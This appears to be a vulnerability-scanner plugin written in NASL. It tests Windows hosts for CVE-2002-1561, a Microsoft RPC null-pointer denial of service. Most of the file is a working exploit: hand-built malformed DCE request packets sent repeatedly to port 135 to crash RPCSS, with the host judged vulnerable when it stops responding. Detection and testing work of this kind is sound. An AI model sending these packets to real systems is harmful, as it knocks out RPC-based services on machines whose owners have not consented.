Microsoft RPC Services null pointer reference DoS Vulnerability

# SPDX-FileCopyrightText: 2002 Pavel Kankovsky
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11159");
  script_version("2024-06-21T05:05:42+0000");
  script_tag(name:"last_modification", value:"2024-06-21 05:05:42 +0000 (Fri, 21 Jun 2024)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2002-1561");
  script_xref(name:"IAVA", value:"2003-t-0008");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/6005");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("Microsoft RPC Services null pointer reference DoS Vulnerability");
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright("Copyright (C) 2002 Pavel Kankovsky");
  script_family("Denial of Service");
  script_dependencies("dcetest.nasl");
  script_require_ports("Services/epmap", 135);

  script_tag(name:"solution", value:"Block access to TCP port 135.");

  script_tag(name:"summary", value:"MS Windows RPC service (RPCSS) crashes trying to dereference a
  null pointer when it receives a certain malformed request.
  All MS RPC-based services (i.e. a large part of MS Windows 2000+)
  running on the target machine are rendered inoperable.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("port_service_func.inc");

# Prepare DCE BIND request
function dce_bind() {

  # Service UUID:
  #   B9E79E60-3D52-11CE-AAA1-00006901293F
  # (this is one of the services bound to port 135)
  sv_uuid = raw_string(
    0x60, 0x9E, 0xE7, 0xB9, 0x52, 0x3D, 0xCE, 0x11,
    0xAA, 0xA1, 0x00, 0x00, 0x69, 0x01, 0x29, 0x3F);
  # The version is incorrect "for extra fun" (should be 0.2)
  sv_vers = raw_string(0x02, 0x00, 0x02, 0x00);

  # Transfer syntar UUID:
  #   8A885D04-1CEB-11C9-9FE8-08002B104860
  ts_uuid = raw_string(
    0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C, 0xC9, 0x11,
    0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60);
  ts_vers = raw_string(0x02, 0x00, 0x00, 0x00);

  # Request header
  req_hdr = raw_string(
    0x05, 0x00,              # version, minor version
    0x0b, 0x03,              # BINDPACKET, flags (1st+last frag)
    0x10, 0x00, 0x00, 0x00,  # data representation (LE, ASCII, IEEE fp)
    0x48, 0x00,              # fragment length (72)
    0x00, 0x00,              # auth length
    0x02, 0x00, 0x00, 0x00,  # call id
    0xd0, 0x16, 0xd0, 0x16,  # max xmit frag, max recv frag
    0x00, 0x00, 0x00, 0x00,  # assoc group
    0x01,                    # num ctx items
    0x00, 0x00, 0x00,        # (padding)
    0x00, 0x00,              # p_cont_id
    0x01,                    # n_transfer_syn
    0x00);                   # (padding)

  return (string(req_hdr, sv_uuid, sv_vers, ts_uuid, ts_vers));
}

# Prepare evil DCE request I
function attack_dce_req_1() {

  # Request header
  req_hdr = raw_string(
    0x05, 0x00,              # version, minor version
    0x00, 0x01,              # REQUESTPACKET, flags (1st frag)
    0x10, 0x00, 0x00, 0x00,  # data representation (LE, ASCII, IEEE fp)
    0xd0, 0x16,              # fragment length (5840)
    0x00, 0x00,              # auth length
    0x8f, 0x00, 0x00, 0x00,  # call id
    0x20, 0x27, 0x01, 0x00,  # alloc hint
    0x00, 0x00,              # context id
    0x02, 0x00,              # opnum: 0
    0xf0, 0x00, 0x00, 0x00,  # ?
    0x00, 0x00, 0x00, 0x00,  # ?
    0x0f, 0x00, 0x00, 0x00); # ?

  req_dt1 = crap(data:raw_string(0x41), length:240);

  req_dt2 = raw_string(
    0x88, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x88, 0x13, 0x00, 0x00);

  req_dt3 = crap(data:raw_string(0x42), length:5000);

  req_dt4 = raw_string(
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00);

  req_dt5 = crap(data:raw_string(0x43), length:512);

  req_dt6 = raw_string(
    0xfe, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xfe, 0xff, 0x00, 0x00, 0x3d, 0x3d, 0x3d, 0x3d,
    0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d,
    0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d, 0x3d);

  return(string(req_hdr, req_dt1, req_dt2, req_dt3, req_dt4, req_dt5, req_dt6));
}

# Prepare evil DCE request II
# the size does not match fragment length?!
function attack_dce_req_2(ah, stuff) {

  # grrr...nasl barfs on (ah/xx) & 0xff
  ah0 = ah & 0xff;
  ah1 = ah / 256;       ah1 = ah1 & 0xff;
  ah2 = ah / 65536;     ah2 = ah2 & 0xff;
  ah3 = ah / 16777216;  ah3 = ah3 & 0xff;

  # Request header
  req_hdr = raw_string(
    0x05, 0x00,              # version, minor version
    0x00, 0x00,              # REQUESTPACKET, flags (none)
    0x10, 0x00, 0x00, 0x00,  # data representation (LE, ASCII, IEEE fp)
    0xd0, 0x16,              # fragment length (5840...hmmm)
    0x00, 0x00,              # auth length
    0x8f, 0x00, 0x00, 0x00,  # call id
    ah0,  ah1,  ah2,  ah3,   # alloc hint
    0x00, 0x00,              # context id
    0x02, 0x00);             # opnum: ?

  req_dt1 = crap(data:raw_string(stuff), length:5000);

  return (string(req_hdr, req_dt1));
}

# Prepare evil DCE request III
# this makes absolutely no sense, hmm...
# the attack appears to work without it...
function attack_dce_req_3() {

  # Request header? eh...sort of
  req_hdr = raw_string(
    0x00, 0x00, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x01, 0x10, 0x00, 0x00);

  req_dt1 = crap(data:raw_string(0x48), length:5000);

  return (string(req_hdr, req_dt1));
}

# Carry out the attack.
function attack(port) {

  soc = open_sock_tcp(port);
  if(!soc)
    return (1);

  # send bind request and check whether we got some reply
  # this is used as a liveness test
  send(socket:soc, data:dce_bind());
  r = recv(socket:soc, length:16);
  if(strlen(r) < 16)
    return (1);

  # send the evil packets
  send(socket:soc, data:attack_dce_req_1());
  send(socket:soc, data:attack_dce_req_2(ah:0x011050, stuff:0x44));
  send(socket:soc, data:attack_dce_req_2(ah:0xf980,   stuff:0x45));
  send(socket:soc, data:attack_dce_req_2(ah:0xe2b0,   stuff:0x46));
  send(socket:soc, data:attack_dce_req_2(ah:0x1560,   stuff:0x47));
  send(socket:soc, data:attack_dce_req_3());

  close(soc);
  return (0);
}

port = service_get_port( default:135, proto:"epmap" );

maxtries = 5;
countdown = maxtries;

while (countdown > 0) {
  success = attack(port:port);
  if (success) {
    if (countdown == maxtries) {
      # XXX it refuses to talk to us
      # XXX should we print a warning?
      exit(0);
    }
    security_message(port:port);
    exit(0);
  }
  countdown = countdown - 1;
  sleep(1);
}

exit(99);